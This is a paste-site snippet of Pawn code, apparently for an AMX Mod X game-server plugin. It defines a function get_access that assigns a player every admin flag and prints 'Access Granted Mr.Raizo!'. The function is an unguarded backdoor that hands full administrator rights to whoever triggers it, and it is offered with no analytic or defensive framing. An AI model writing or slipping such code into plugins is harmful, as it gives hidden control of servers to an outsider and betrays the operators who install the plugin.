- public get_access(id)
- {
- set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
- console_print(id, "Access Granted Mr.Raizo!");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement